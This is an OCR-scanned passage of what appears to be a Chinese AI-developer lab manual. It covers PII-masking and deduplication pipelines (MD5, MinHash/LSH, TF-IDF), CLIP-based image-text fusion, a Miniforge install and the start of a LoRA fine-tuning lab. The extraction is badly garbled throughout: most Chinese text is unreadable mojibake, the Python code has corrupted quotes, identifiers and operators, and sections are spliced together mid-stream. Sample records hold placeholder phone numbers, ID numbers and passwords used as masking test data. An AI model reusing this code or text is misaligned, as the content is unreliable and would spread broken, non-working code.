return items

items = load_jsonl("raw.jsonl")
print(items)

[{'id": 'doc_eel', 'source': 'news_crawl’, 'language_hint': 'zh', 'text': '<html><head><meta charset="UTF-8"><title>F{#FNElc/title></head><body><div class="content"><h1>
R — TS </h1x<prBER AT, HBiF13912345678, Bif§wangfang@huawei-example.como </p><script>var _hmt=_hmt||[]</script><style>.ad-banner{display:none!important}</style
>¢/diva</body></html>'}, {'id': 'doc_e@2', 'source': 'medical_forum', ‘language_hint': 'zh', 'text': 'B&EWEE, S{HIS320106107002158864, HiE13200132000. \nitHiFa\x20
\xOcifEkEa \x80\xad, TAEECIAR. \x88\x01 \xe2 N ESAMMRI. '}, {'id": 'doc_e®83', 'source’': 'finance_blog', 'language_hint': ‘zh’, “text': "<p>iltTRITF=S6222021234
567800123 HERl. </p><p>EIPiih102.168.100.45. «/p><p>EMRMIEE&#x2a; serviceli#xdd; bank&#x2d; example&ix2e; com</ p> 4435\ u260b\ U206\ u208d \u2e8e\ u2eeFE L EE A B - "),
{'id': 'doc_@e4’, 'source’: ‘ecommerce review', 'language hint': 'zh', 'text’: 'srskook IERIFANFL! \miokokolok IEEIFARITL \ndokdokok IESRAOF \nEEIHE: o
terd#x73;aled#x40; apple&ax2d; examplelsx2e; com\nAp P L e LEEEEN, 123456}, {'id": 'doc_ees', 'source’: 'tech_wiki', 'language_hint': 'zh', "text’: '<div class="wik
i-content”><h2>Nginx B [EHRIPALETERI</h2><pre><code>server { listen 88; }</code></pre><p>FREFIEE{RETR: dev_root@123, $ - IFIEEM: prod#secura2024! . </p><p>fREEEFIML
P: 172.16.0.108. </p><scriptsvar pageld="nginx-guide";</script>The configuration filed\x8e\x99s syntax is similar to Apache.ZT 2487 \u2e2eiE )TEELE ST PIERIDEM. </ div
>'}, {"id': 'doc_@e6', 'source': 'legal doc', ‘language_hint': ‘zh', 'text': '<table border="1"><tre<th>8i—H S{EFAKIE</th><td>01110185MABTABCDIXS /td ></tro<tr><thyEEN
F A/ thrctd>[iE, BRiF5110185108506124567</td></troctro<th>BEREBIE </ th><td>13511112222¢/td></tr>¢/tablex<p>ifE F i SHB440305109208176543, BEREIH156000023323. </pr<p>
FRSEETPHINE: 119.75.217.109. </p>{iiB < ERALED danp; EMHNFEZIE, FIRIOT - &1t A et @2024°), {'id": 'doc_867', 'source’: 'social_media’', 'language hint': 'zh’,
“text’: 'EERACIME si%15800098838. \nBFISIRAI—ATAL]\u2eeb\u2e0b\u20b. \niFik1: FH113777776666. \nifik2: FIFELE I HRERSER? \nifitd: FEELE ERERSERT \nif
4 FMEEAH? HRERSEEY \niFits: FIEELE? TEARSER? \niEE: TP \xe3\xes\xesETRATE]: 2024F 3 B\nFISR! FISE! FISL! FIFK! FBL! FIBR! '), {'id": 'doc_
@08, 'source’: 'education_site', ‘language_hint': 'zh’', ‘text': '<!DOCTYPE html><html lang="zh-CN"><head><title>SEL/EIEIRERI </ title></head><body><div id="main"><h1>
[2024F S EERERTLIER | </h1><p>RHRH-12- R SR4ERHBRS . </p><p>The field of AI&€™s development has been remarkable.</p><p>BEZHF4E: admissions&s64;edudsas;exampledsas;

imCERE:

test_data: List[str] = [item["text"] for item in items]

pipeline = DataCleaningPipeline(
sensitive_mask_mode="mask", # &SEER

quality_min_length=20, # WK AREEE
quality_max_dup_char=04, # HEES

cleaned_texts, stats = pipeline.clean_batch(test_data)

# RE
DataCleaningPipeline.print_report(stats)

print("\n— RFFXER —")
for raw in test_data:
result, reason = pipeline.clean_single(raw)

print(f"\n Fx4{RE5: {stats.passed}/{stats.total} == "
" (#8h% {stats.total - stats.passed} =, "
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f*{(1 - stats.passed/stats.total)*100:.1f}%)")
print("i&i%5ShL!")

e teex| [ NENENNNNENER NN AR AN RN AN AR NNERNNRNNNN | 32/32 [00:e0<60:00, 563.64it/s]

FIRERIRE

fshie=:18 32
TREGSCISHL: 22
FRRICIEE 10 (31.2%)
f- ALETE: 5

b iEs s
L RES: 5

HEES R
1Piftht 3 16 b
[N : 13 4
S : 9 4k
ERE : 3 4k

— FFRARER —

RERE: 22/32 F Bk 10 &, 31.2%)

23 HIREEE
EERE
Step 1: ¥5HZ%E (MD5) - O(n), BEFTEERRINA
Step 2: MinHash XAXE - O(n-h) @X3|, BRFHaEBIATIA
Step 3: IBXZEE - O(n*d) oilt, BERE MERNBREEAEAA

$£IE1 BAIBES

—

import hashlib

importre

importstruct

importtime

from collections import defaultdict

from typing import List, Dict, Optional, Set

import numpy as np
from tgdm import tqgdm

I8 2 #3# MinHash+LSH X&

class SimHashFunc:
def __init__(self, num_hashes: int = 128):
self.num_hashes = num_hashes

def hash_shingle(self, shingle: str, hash_idx: int) -> int:
data = f"{shingle}:{hash_idx}".encode (‘'utf-8')
digest = hashlib.sha256(data).digest()
# HEYED 8 =19, signed=True W{FLEERIE [-2/63, 2/63-1]
# B int64 RIRESEE, AsmbthASuEin
return int.from_bytes(digest[:8], byteorder='big', signed=True)

class MinHasher:
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MinHash i+8: BXARERABEERINRNEZEE

def __init__(self, num_hashes: int = 128, ngram_size: int = 5):
Args:
num_hashes: MinHash BZ4RE (HAHISH, (BIE)
ngram_size: shingle B9=%F n-gram A/h
self.num_hashes = num_hashes
self.ngram_size = ngram_size
self.hash_func = SimHashFunc(num_hashes)

def _get_shingles(self, text: str) -> Set[str]:
"GN RS RAF RN n-gram shingles""
text = re.sub(r'\s+', ', textlower().strip())
if len(text) < self.ngram_size:
return {text}
return {text[i:i + self.ngram_size] for i in range(len(text) - self.ngram_size + 1)}

def compute_signature(self, text: str) -> np.ndarray:
" EVIARR) MinHash 8% (4 num_hashes)"""
shingles = self._get_shingles(text)
if not shingles:
return np.full(self.num_hashes, np.iinfo(np.int64).max)

signature = np.full(self.num_hashes, np.iinfo(np.int64).max, dtype=np.int64)
for shingle in shingles:
for i in range(self.num_hashes):
h = self.hash_func.hash_shingle(shingle, i)
if h < signature[i]:
signature[i]l = h
return signature

@staticmethod
def jaccard_similarity(sig1: np.ndarray, sig2: np.ndarray) -> float:
"""E@d MinHash EZfM& Jaccard HBIUE"""
if len(sig1) != len(sig2):
raise ValueError ("&Z#ELA—I")
return float(np.mean(sig1 == sig2))

class LSHIndex:

- BEEZ9R b 4 band, 81 band A r 1T (b x r = num_hashes)
- XWEA band HIZNGFE, 48E band hash BYSAE(E/(RIEXT
- BREXHEEXIIGIE Jaccard 1EIUE

def __init_ (self, num_hashes: int = 128, num_bands: int = 16, seed: int = 42):
self.num_hashes = num_hashes
self.num_bands = num_bands
self.rows_per_band = num_hashes // num_bands
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assert num_hashes % num_bands ==
np.random.seed (seed)

self.band_params = [
(int(np.random.randint(1, (1 << 61) - 1, dtype=np.int64)),
int(np.random.randint(0, (1 << 61) - 1, dtype=np.int64)))
for _in range(num_bands)
1
self.buckets: List[Dict[int, Set[int]]] = [defaultdict(set) for _in range(num_bands)]

def _hash_band(self, band_values: np.ndarray, band_idx: int) -> int:
3, b = self.band_params[band_idx] #
p=(1<<61)-1
h=0
for v in band_values:
h=(@*h+int(v) +b)%p #
return h

def insert(self, doc_id: int, signature: np.ndarray):
for band_idx in range(self.num_bands):
start = band_idx * self.rows_per_band
end = start + self.rows_per_band
bh = self._hash_band(signature[start:end], band_idx)
self.buckets[band_idx][bh].add(doc_id)

def query_candidates(self, signature: np.ndarray) -> Set[int]:
candidates = set()
for band_idx in range(self.num_bands):
start = band_idx * self.rows_per_band
end = start + self.rows_per_band
bh = self._hash_band(signature[start:end], band_idx)
if bh in self.buckets[band_idx]:
candidates.update(self.buckets[band_idx][bh])
return candidates

22|

L3 HE

WAZEESE: MinHash + LSH fH&:

class TextDeduplicator:

def __init__(self, num_hashes=128, num_bands=16, ngram_size=5,
similarity_threshold=0.8, seed=42):
self.minhasher = MinHasher(num_hashes=num_hashes, ngram_size=ngram_size)
self.lsh = LSHIndex(num_hashes=num_hashes, num_bands=num_bands, seed=seed)
self.similarity_threshold = similarity_threshold
self.signatures: Dict[int, np.ndarray] = {}

def build_index(self, documents: List[str]):
"UHETE M AEMEE MinHash &% + LSH &5
print(f'[SZAZEE] B {len(documents)} msiiTE MinHash &£3..")
for doc_id, text in enumerate(tqdm (documents, desc="MinHash &&")):

sig = self.minhasher.compute_signature(text)
self.signatures[doc_id] = sig
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self.lsh.insert(doc_id, sig)

def find_duplicates(self) -> Dict[int, List[int]]:
" EHEREEESH, IR0l {representative_id: [dup_id, ..]}"""
n = len(self.signatures)
print(f'[SZAEE] EHKEE (Jaccard BF{E={selfsimilarity_threshold})...")
duplicate_groups: Dict[int, List[int]] = {}
seen: Set[int] = set()

for doc_id in tqdm(range(n), desc="&E&iN"):
if doc_id in seen:
continue
candidates = self.lsh.query_candidates(self.signatures[doc_id])
duplicates = []
for cand_id in candidates:
if cand_id <= doc_id:
continue
sim = self.minhasher.jaccard_similarity(
self.signatures[doc_id], self.signatures[cand_id]
)
if sim >= self.similarity_threshold:
duplicates.append(cand_id)
seen.add(cand_id)
if duplicates:
duplicate_groups[doc_id] = duplicates

total = sum(len(v) for v in duplicate_groups.values())
print(f'[MAZE] &I {len(duplicate_groups)} HEE, &£ {total} &=")
return duplicate_groups

def deduplicate(self, documents: List[str]) -> List[str]:
"—gERE: BR5| - HWEE - BRESW"
t0 = time.time()
self.build_index(documents)
dup_groups = self.find_duplicates()

remove_ids: Set[int] = set()
for _, dup_ids in dup_groups.items():
remove_ids.update(dup_ids)

deduped = [doc for i, doc in enumerate(documents) if i not in remove_ids]
elapsed = time.time() - t0

print(f"[MZAZEE] {len(documents)} - {len(deduped)} & (GEBT {elapsed:2f}s)")
return deduped

LA BUES

BN KB BNARBAGSE, BIdSRZBESTIIENY ES , 8 backend 2#I5EXE
28, TTLAEIR®Y scikit-learn & TF-IDF s &5 E&EE (U BERT) »

class SemanticDeduplicator:

EE=E:
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- "tfidf": T sklearn TfidfVectorizer (325, 7&& GPU)
- "transformer": EF HuggingFace Sentence Transformer (¥5ffs, EEEHY)

def _init_ (self, backend="tfidf", similarity_threshold=0.85,

max_features=50000,
# Transformer =]
model_name="sentence-transformers/all-MiniLM-L6-v2",
max_length=256, batch_size=128):

self.backend = backend

self.similarity_threshold = similarity_threshold

self.embeddings: Optional[np.ndarray] = None

if backend == "tfidf":
from sklearn.feature_extraction.text import TfidfVectorizer
self.vectorizer = TfidfVectorizer(
max_features=max_features,

ngram_range=(1, 2), # unigram + bigram
analyzer='word',
sublinear_tf=True, # F3 1+log(tf) K& tf

)
print(f'[(EX.ZEE] TF-IDF [Fim (max_features={max_features})")

elif backend == "transformer":
importtorch
from transformers import AutoTokenizer, AutoModel
self.max_length = max_length
self.batch_size = batch_size
self.device = "cuda" if torch.cuda.is_available() else "cpu"
print(f'(EXEE] MNEHAEE: {model_name} (185 {self.device})")
self.tokenizer = AutoTokenizer.from_pretrained (model_name)
self model = AutoModel.from_pretrained (model_name).to(self.device)
self. model.eval()

else:
raise ValueError (f' A~ Z#9/5iH: {backend}, i&i% 'tfidf' =% 'transformer™)

def _encode_batch_transformer(self, texts: List[str]) -> np.ndarray:
"""Mean Pooling + L2 |3—f£"""
import torch
encoded = self.tokenizer(
texts, padding=True, truncation=True,
max_length=self.max_length, return_tensors="pt"
).to(self.device)
with torch.no_grad():
outputs = self. model(**encoded)
mask = encoded["attention_mask"].unsqueeze(-1).float()
pooled = (outputs.last_hidden_state * mask).sum(1) / mask.sum(1)
pooled = torch.nn.functional.normalize(pooled, p=2, dim=1)
return pooled.cpu().numpy()

def encode_all(self, documents: List[str]) -> np.ndarray:
"SRR A MRS AT —mE
print(f'IENXEE] 45 {len(documents)} fmasCid..")

241
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t0 = time.time()

if self.backend == "tfidf":
from sklearn.preprocessing import normalize
X = self.vectorizer fit_transform(documents).astype(np.float32)
self.embeddings = normalize(X, norm='12', axis=1)
self.embeddings = np.asarray(self.embeddings.todense())
else:
embs =[]
for i in tgdm(range(0, len(documents), self.batch_size), desc="4wf3"):
embs.append(self._encode_batch_transformer(documentsli:i + self.batch_size]))
self.embeddings = np.concatenate(embs)

print(f'EXZEE] fwmi%5shat {selfembeddings.shape}, ¥R {time.time()-t0:2f}s")
return self.embeddings

def find_duplicates(self, documents: List[str]) -> Dict[int, List[int]]:
SRETERXIBUETERE, B AHIEE OOM
BTFEEe L2 3—K, RZEUE = SR
if self.embeddingsis None:
self.encode_all(documents)

n = len(documents)
print(f'(EXEE] tEHELE (H{E={self.similarity_threshold})..")
t0 = time.time()

dup_groups: Dict[int, List[int]] = {}
seen: Set[int] = set()
chunk =1024 # BRITE chunkxn BIRIUEIERE

for i_start in tgdm(range(0, n, chunk), desc="18{\E"):
i_end = min(i_start + chunk, n)
# II—UEERTR = FZELE

sim_matrix = self.embeddingsli_starti_end] @ self.embeddings.T

for li in range(i_end - i_start):
gi =i_start + li
if gi in seen:
continue
dups = []
for gj in range(gi + 1, n):
if gj notin seen and sim_matrix[li, gj] >= self.similarity_threshold:
dups.append(gj)
seen.add(gj)
if dups:
dup_groups[gi] = dups

total = sum(len(v) for v in dup_groups.values())
print(f' (EX.ZEE] {len(dup_groups)} £H, {total} &=, #¥ERT {time.time()-t0:2f}s")
return dup_groups

def deduplicate(self, documents: List[str]) -> List[str]:
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RN RE

t0 = time.time()
dup_groups = self.find_duplicates(documents)

remove_ids: Set[int] = set()
for _, ids in dup_groups.items():
remove_ids.update(ids)

deduped = [doc for i, doc in enumerate(documents) if i not in remove_ids]
elapsed = time.time() - t0

print(f'EXEE] {len(documents)} - {len(deduped)} & (ERT {elapsed:2f}s)")
return deduped

28261

R EIEZEE pipeline

HEETRKE (Pipeline)

Step 1: ¥5HHEE (MD5) - SEEERAINA

Step 2: MinHash XAXE - FRSERMRINA (5/SHL)

Step 3: IBXZEE - BMNHEEEREFARIN A (BiF)
SCHEE:

class PipelineDeduplicator:

@staticmethod
def exact_dedup(documents: List[str]) -> List[str]:
"Step 1: BF MDS5 HOKEHZEE""
print("="* 60)
print("[Step 1] #&#aEE (MD5)")
print("="* 60)
seen: Set[str] = set()
result = []
for doc in tgqdm(documents, desc="#¥5fAEE"):
h = hashlib.md5(doc.strip().encode()).hexdigest()
if h not in seen:
seen.add(h)
resultappend(doc)
removed = len(documents) - len(result)
print(f" {len(documents)} - {len(result)} (¥8f& {removed} &)")
return result

@staticmethod
def run(documents: List[str],
text_threshold: float = 0.8,
semantic_threshold: float = 0.85,
do_semantic: bool = True) -> List[str]:
TR R A B K
original = len(documents)
total_t0 = time.time()

print(f"\n{'='* 60}")
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print(f"  KIEELTN)|IGHUIBREERERIKL")
print(f"  HIANIILEL: {original}")
print(f"{'='* 60}\n")

#— Step 1: fEREE —
docs = PipelineDeduplicator.exact_dedup(documents)

# — Step 2: MinHash XAREE —

print("\n" + "="* 60)

print("[Step 2] MinHash XZAZEE")

print("="* 60)

td = TextDeduplicator(
num_hashes=128, num_bands=16, ngram_size=5,
similarity_threshold=text_threshold

)
docs = td.deduplicate(docs)

#— Step 3: IENFEE —
if do_semantic:
print("\n" + "="* 60)
print("[Step 3] EXFXE")
print("="* 60)
sd = SemanticDeduplicator(
backend="tfidf",
similarity_threshold=semantic_threshold

)
docs = sd.deduplicate(docs)

#— CRMRE —

total_elapsed = time.time() - total_t0

print(f"\n{'="'* 60}")

print(f* v X&E5=HE!")

print(f" JR%G3Z4: {original}")

print(f"  &£&3Z4: {len(docs)}")

print(f"  FBERELH: {(1 - len(docs) / original) * 100:1f}%")
print(f" &S3EHRS:  {total_elapsed:2f}s")

print(f"{'="* 60}")

return docs

F27]

LE6 i

# FTEDLE R

print("="* 60)
print(f" MIXBUEE (I {len(cleaned_texts)} FE3ZHH)")
print("="* 60)

labels = {8: " — FEHEE", 9: "~ IEUEE", 10: " - BXEE",
1" 1BYEE", 12 " 1BXEE"}
for i, doc in enumerate(cleaned_texts):
tag = labels.get(i, "")
print(f" [{i:2d}] {doc[:65]}.. {tag}")

#— IBTRBRKE —
print(ll\n\nu + VIEEE % 60)
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print(" IB{TREETRIKE")
print("E" * 60)

final_docs = PipelineDeduplicator.run(
cleaned_texts,
text_threshold=0.5, # MinHash Jaccard &

semantic_threshold=0.5, # TF-IDF &Z{B{UEEE
do_semantic=True,

print("\n BRERBAISZHY:")
for i, doc in enumerate(final_docs):
print(f" [{i:2d}] {doc[:75]}..")

print(f"\n 525%: {len(cleaned_texts)} - {len(final_docs)} &=")

-

MRS (22 R

[ o] i
HHETH— TR ERATS, BiE139%+**5678, Bifdw* * *ghuawei-example. com ...
[ 1] B&%2E, BHES32e *exxgg64 , B1E138****3000.
HTR RKE, FRERSOR. 2
[ 2] METTRRITRS6222

1R

ERIPHE [TPHE] o

FEAREGHE : s***@ban. ..
[ 3] Nginx REMIBE BIERserver { listen 80; JTRIEXIRZE[EWTHIM] configuration f...
[ 4] H—HSERRBIERRS]

IETERFRABRE, SIS 1107 xxrxrxexx 4567

WYL hiLaarverbnnnn

FHERTT R R E okt
B 22

[Step 1] $REEEE (MDS)

{EREE: 100%| | 22/22 [@0:88<08:00, 13047.82it/s]

22 - 21 (B 1R

[Step 2] MinHash 3 #EH
[ZAEE] B 21 FIETE minkash ££...

Minbach . 100a% 21451 [A0-B1eBA-60 A5 Tritic]

1.2.4 SIESEIELIR

L1 BAIES

import torch

importtorch.nn as nn

import torchvision.transforms as transforms

from PIL importImage

import numpy as np

from sklearn.metrics.pairwise import cosine_similarity
import matplotlib.pyplot as plt

import open_clip

L‘%

X2 EURNEFEIRR

N}

class CrossAttentionFusion(nn.Module):
R R
def __init__(self, feature_dim, num_heads=8):
super(CrossAttentionFusion, self).__init_ ()
self feature_dim = feature_dim
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self.num_heads = num_heads
self.head_dim = feature_dim // num_heads

assert selfhead_dim * num_heads == feature_dim, "45/F4EE R R SLEEL S

# HHIREE

self.q_proj = nn.Linear(feature_dim, feature_dim)
self.k_proj = nn.Linear(feature_dim, feature_dim)
self.v_proj = nn.Linear(feature_dim, feature_dim)
self.out_proj = nn.Linear(feature_dim, feature_dim)

# BIF3—1k

self.layer_norm = nn.LayerNorm (feature_dim)

# BUEEREL
self.dropout = nn.Dropout(0.1)

def forward(self, image_features, text_features):
Args:
image_features: [batch_size, feature_dim]
text_features: [batch_size, feature_dim]
Returns:
fused_features: [batch_size, feature_dim]

batch_size = image_features.size(0)

# XX FES: BIRIES query, XARIES key F value

Q = self.qg_proj(image_features).view(batch_size, self.num_heads, self.head_dim)
K = self.k_proj(text_features).view(batch_size, self.num_heads, self.head_dim)

V = self.v_proj(text_features).view(batch_size, self.num_heads, self.head_dim)

# HEFENDE

scores = torch.matmul(Q, K.transpose(-2, -1)) / np.sqrt(self.head_dim)
attention_weights = torch.softmax(scores, dim=-1)

attention_weights = self.dropout(attention_weights)

# NAFEHONE
attended_features = torch.matmul(attention_weights, V)
attended_features = attended_features.contiguous().view(batch_size, self.feature_dim)

# WIS AEEEE
output = self.out_proj(attended_features)
output = selflayer_norm(output + image_features) # §xZEiEHE:

# BT RRNFESN: XAEA query, BURIES key # value

Q2 = self.q_proj(text_features).view(batch_size, self.num_heads, self.head_dim)
K2 = self.k_proj(image_features).view(batch_size, self.num_heads, self.head_dim)
V2 = self.v_proj(image_features).view(batch_size, self.num_heads, self.head_dim)

scores2 = torch.matmul(Q2, K2.transpose(-2, -1)) / np.sqrt(self.head_dim)
attention_weights2 = torch.softmax(scores2, dim=-1)
attention_weights2 = self.dropout(attention_weights2)
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attended_features2 = torch.matmul(attention_weights2, V2)
attended_features2 = attended_features2.contiguous().view(batch_size, self.feature_dim)

# MBI E IR
output2 = self.out_proj(attended_features2)
output2 = selflayer_norm(output2 + text_features) # FEEiERE

# REME: BRARIBNNERES
final_output = 0.7 * output + 0.3 * output2 # BILAEEEAEELL G

return final_output

IR 3 IRENSIETAHE

class MultimodalProcessor:
def __init_ (self):
# VRS

self.device = "cuda" if torch.cuda.is_available() else "cpu"

# NNFLESLAY OpenCLIP f&EY

self.model, _, self.preprocess = open_clip.create_model_and_transforms('ViT -B-32',
pretrained="'laion2b_s34b_b79k")

self. model = self. model.to(self.device)

print("Successfully loaded OpenCLIP model")

# IR TS IRERIR

self.cross_attention_fusion = CrossAttentionFusion(feature_dim=512).to(self.device)

# ESHaREE

self.fusion_methods = {
'concat" self._concat_fusion,
'additive": self._additive_fusion,
'multiplicative": self._multiplicative_fusion,
'cross_attention": self._cross_attention_fusion

}

def extract_image_features(self, images):
AR
if isinstance(images, list):
processed_images = torch.stack([self.preprocess(img.convert('RGB')) for img in
images]).to(self.device)
else:
processed_images = self.preprocess(images.convert('RGB')).unsqueeze(0).to(self.device)

with torch.no_grad():
image_features = self. model.encode_image(processed_images)
image_features = image_features / image_features.norm(dim=-1, keepdim=True) # J3—

®

return image_features

def extract_text_features(self, texts):
""";‘;'.EEHRI$%?J—_E"""

if isinstance(texts, str):
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texts = [texts]

# Tokenize A&
tokenizer = open_clip.get_tokenizer('ViT-B-32'")
text_tokens = tokenizer (texts).to(self.device)

with torch.no_grad():
text_features = self. model.encode_text(text_tokens)
text_features = text_features / text_features.norm(dim=-1, keepdim=True) # J3—{t

return text_features

def compute_similarity(self, features1, features2):
" MSIERERE Z BRI E
# 4% tensor #5379 numpy B TIHE
if torch.is_tensor(features1):
features1 = features1.cpu().numpy()
if torch.is_tensor (features2):
features2 = features2.cpu().numpy()

return cosine_similarity(features1, features2)

def align_modalities(self, images, texts):
"EESNTSY - HTEERGIIN A Z BRI s E
image_features = self.extract_image_features(images)
text_features = self.extract_text_features(texts)

# THERIUEER

similarity_matrix = self.compute_similarity(image_features, text_features)
return similarity_matrix

def _concat_fusion(self, image_features, text_features):
RS
if torch.is_tensor(image_features):
image_features = image_features.cpu().numpy()
if torch.is_tensor(text_features):
text_features = text_features.cpu().numpy()

return np.concatenate([image_features, text_features], axis=1)

def _additive_fusion(self, image_features, text_features):
AR
if torch.is_tensor(image_features):
image_features = image_features.cpu().numpy()
if torch.is_tensor (text_features):
text_features = text_features.cpu().numpy()

return image_features + text_features

def _multiplicative_fusion(self, image_features, text_features):
"L REE
if torch.is_tensor(image_features):
image_features = image_features.cpu().numpy()
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if torch.is_tensor (text_features):
text_features = text_features.cpu().numpy()

return image_features * text_features

def _cross_attention_fusion(self, image_features, text_features):
R E
# TRIRISIEEE—
min_dim = min(image_features.size(-1), text_features.size(-1))
image_features = image_features[;, :min_dim]
text_features = text_features[:;, :min_dim]

# AR FE DR AELR
with torch.no_grad():
fused_features = self.cross_attention_fusion(image_features, text features)

return fused_features.cpu().numpy()

def multimodal_fusion(self, images, texts, method='concat’):
B RE
image_features = self.extract_image_features(images)
text_features = self.extract_text_features(texts)

# RSP E LA RS IR(E

min_dim = min(image_features.size(-1), text_features.size(-1))
image_features = image_features[;, :min_dim]

text_features = text_features[:;, :min_dim]

fusion_func = self.fusion_methods.get(method, self._concat_fusion)
return fusion_func(image_features, text_features)

def visualize_similarity(self, similarity_matrix, images, texts):
" BIATAGHEARE AR
fig, ax = pltsubplots(figsize=(10, 8))
im = ax.imshow (similarity_matrix, cmap='viridis', aspect='auto')

# 1R EPR

ax.set_xticks(range(len(texts)))
ax.set_yticks(range(len(images)))

ax.set_xticklabels(texts, rotation=45, ha="right")
ax.set_yticklabels([f"Image {i+1}" for i in range(len(images))])

# ANINERE S
cbar = plt.colorbar(im, ax=ax)
cbar.set_label('Similarity Score')

# BBV ETEPETRHE
for i in range(len(images)):
for j in range(len(texts)):
text = ax.text(j, i, f'{similarity_matrix[i, j]:2f}",
ha="center", va="center", color="white")

plttitle("Image-Text Similarity Matrix")
plt.tight_layout()
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‘ plt.show()

%5331

B4 RBEUER

def main():
processor = MultimodalProcessor ()

# mPIEGR (XEERBENEGAEEIER )

sample_images = []

for i in range(3):
img_array = np.random.randint(0, 255, size=(224, 224, 3), dtype=np.uint8)
img = Image.fromarray(img_array)
sample_images.append(img)

# RIS AR
sample_texts = [
"A beautiful landscape”,
"A cute cat",
"A modern city"

]
# AT
print("=== A ===")

similarity_matrix = processor.align_modalities(sample_images, sample_texts)
print("tE{UEER:")

print(similarity_matrix)

# ESRS
print("\n=== &E/E ==="
fusion_results = {}
for method in ['concat’, 'additive’, 'multiplicative', 'cross_attention']:
try:
fused_features = processor.multimodal_fusion(
sample_images[:1],
sample_texts[:1],
method=method

)

fusion_results[method] = fused_features

print(f'{method} RIS S4FIEHRE: {fused_features.shape}")
except Exception as e:

print(f'{method} B&&HE: {str(e)}")

# HBIETERE

print("\n=== $HEBLEITE ===")

text_features = processor.extract_text_features(["A beautiful landscape"])
random_text_features = processor.extract_text_features(["A completely different topic"])

sim_score = processor.compute_similarity(text_features, random_text_features)[0][0]
print(f"#E{LUSCABLLE: {similarity_matrix[0][0]:.3f}")
print(f" RESAHBIUE: {sim_score:3f}")

# BRXNERIRERINE
print("\n=== XX EFEDRMEFEBOHT ===")




S

HUAWEI PllEzR e =l S 347

image_feat = processor.extract_image_features(sample_images[:1])
text_feat = processor.extract_text_features(sample_texts[:1])

# EEHMES vs KXFENRENIEL
try:
concat_result = processor.multimodal_fusion(sample_images[:1], sample_texts[:1],

method='concat’)
cross_attn_result = processor.multimodal_fusion(sample_images[:1], sample_texts[:1],
method='cross_attention')

print(f'HHERISLER4E: {concat_resultshape}")
print(f' 32X EENRISERAEE: {cross_attn_result.shape}")

# TTERSRIERHERTEX T

if len(concat_result.shape) > 1 and concat_result.shape[1] >= 512:
concat_part_img = concat_result[;, :512] # ZEVEISEESD
concat_part_txt = concat_result[;, 512:] # ZREIAZD

print(f"#HERE P ERISIE S R IR EIRISERUE:
{cosine_similarity(image_feat.cpu().numpy(), concat_part_img)[0][0]:.3f}")
print(f" FHERIE P ASHIES RIS X AR ILE:
{cosine_similarity(text_feat.cpu().numpy(), concat_part_txt)[0][0]:3f}")
except Exception as e:

print(f"BAE M LHE: {str(e)}")

if _name__=="__main__
main()

—- T <o
ARILEIEDE

[[©.14996092 ©.13274138 0.17994717]
[0.14524558 ©.12569776 ©.17472738]
[0.14651473 ©.1285325 ©.17028014]]

additive m@.:. :
multiplicati TRAHIEEE: (1, 512)
cross_attention REEAHIEER: (1, 512)

=== fHERETE ===
ARINCAAEILE: e.150
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1.1 LGSR

1.1.1 XF AL

KRN BIUNOE EE LT A BBEMERYE ( Ascend HDK. CANN ) 9 openEuler-24.03-
LTS-SP1-aarch64 I e mZ2 25 KR ZE

FRF SFT #0 RLHF FaWKIEERA—1F, BEULFEEEARERY Python RIS D RIZAT
=HIHE,

Miniforge 8353 conda-forge E#l#Y Conda 1 Mamba /MY L3EFeRF, A HAF
BU#2 Python EHIIAME, ZEEARRUKEE .

1.1.2 LI HAY
. EHTRFBIRENZRE,
1.2 SLIG{ESS

1.2.1 &% Miniforge

L1 MALIT&HSTE Miniforge 236

wget https://mirrors.tuna.tsinghua.edu.cn/github-release/conda-
forge/miniforge/LatestRelease/Miniforge3-Linux-aarch64.sh

£ 2 WAUTHSERECIBINPTIER TR S

chmod +x Miniforge3-Linux-aarch64.sh
./Miniforge3-Linux-aarch64.sh

L3 RENETEEA yes A, REUBRIETZBRZNA, SEVIIALIERyes



https://mirrors.tuna.tsinghua.edu.cn/github-release/conda-forge/miniforge/LatestRelease/Miniforge3-Linux-aarch64.sh
https://mirrors.tuna.tsinghua.edu.cn/github-release/conda-forge/miniforge/LatestRelease/Miniforge3-Linux-aarch64.sh
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You current]u have a PYTHONPATH environment variable set. This may cause
od behavior when running the Python interpreter in Miniforge3.
i sults, please verify that your PYTHONPATH only points to

directories of packages that are compatible with the Python interpreter

in Miniforge3: /root/miniforge3
Do you wish to update your shell profile to automatically initialize conda?
This will activate conda on startup and change the command prompt when activated.
I you'd prefer that conda's base environment not be activated on startup,

run the following command when conda is activated:

conda config --set auto_activate base false
Note: You can undo this later by running

Proceed w1th initialization? [yes|no]

\

LR A4 RESHREBANATHOHTIRNL, shell BORERR(base) BRLENK

|source'~ﬁbashrc

(base) [root@Saccazbacheg

1.2.2 RENECIGEE

Wi 3%z https://certification-data.obs.cn-north-4.myhuaweicloud.com/CHS/HCIE-
Al%20Developer/V1.0/SFT%26RLHF.zip 5XEXSCEG FRE(CIBE .



https://certification-data.obs.cn-north-4.myhuaweicloud.com/CHS/HCIE-AI%20Developer/V1.0/SFT%26RLHF.zip
https://certification-data.obs.cn-north-4.myhuaweicloud.com/CHS/HCIE-AI%20Developer/V1.0/SFT%26RLHF.zip

Q)

A KRSl 45S000 0 FTR

SFT

2.1 LIS/ 48

KL E S AERITERGA (SFT) , 1F4Hi#E LoRA 1 QLoRA WIS A, NE
B A&ETF PyTorch LI LoRA #1 QLoRA RIZLURNBITIRERIESEiZIE, ERIEED
MindSpeed-MM #E2Ri#1T Qwen3.5 IRELAYHIE . B NIRRT BN BN ME,
PEIELHEESHEIHERE, 1BAREREGOEANEIREE .

2.2 SCIGICIR
2.2.1 Lora Eadiscp

BIT—MEERY transformer block, EF PyTorch FFafsC LoRA, QLoRA UITEITEE.
S ITHEERE

BN T ap SRR — N EIAME 3T 5epk SFT 1EXSEIGRTIRIE .

conda create -n sft python=3.11 -y
conda activate sft

£ sft MRRZARFEATA:

pip install torch
pip install matplotlib
pip install jupyterlab # BJi%

Ny
g

*2 SANIERE

import torch

import torch.nn as nn

import torch.nn.functional as F
importtime

import copy

import matplotlib.pyplot as plt

IR 3 FIE—MEERY transformer block

class SimpleSelfAttention(nn.Module):
def __init_ (self, dim, num_heads):
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super().__init_ ()

self.num_heads = num_heads
self.head_dim = dim // num_heads
self.g_proj = nn.Linear(dim, dim)
self.k_proj = nn.Linear(dim, dim)
self.v_proj = nn.Linear(dim, dim)
self.out_proj = nn.Linear(dim, dim)

def forward (self, x):
B, S, D = x.shape
g = self.q_proj(x).view(B, S, self.num_heads, self.head_dim).transpose(1, 2)
